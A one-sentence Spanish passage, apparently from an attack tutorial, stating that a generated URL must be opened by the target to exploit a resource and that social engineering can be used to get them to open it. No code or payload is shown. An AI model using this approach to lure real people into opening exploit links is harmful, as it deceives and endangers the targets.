Esto generará una URL, la cual, el target debe ingresar para poder explotar este recurso (se puede usar alguna técnica de ingeniería social para lograr esto).
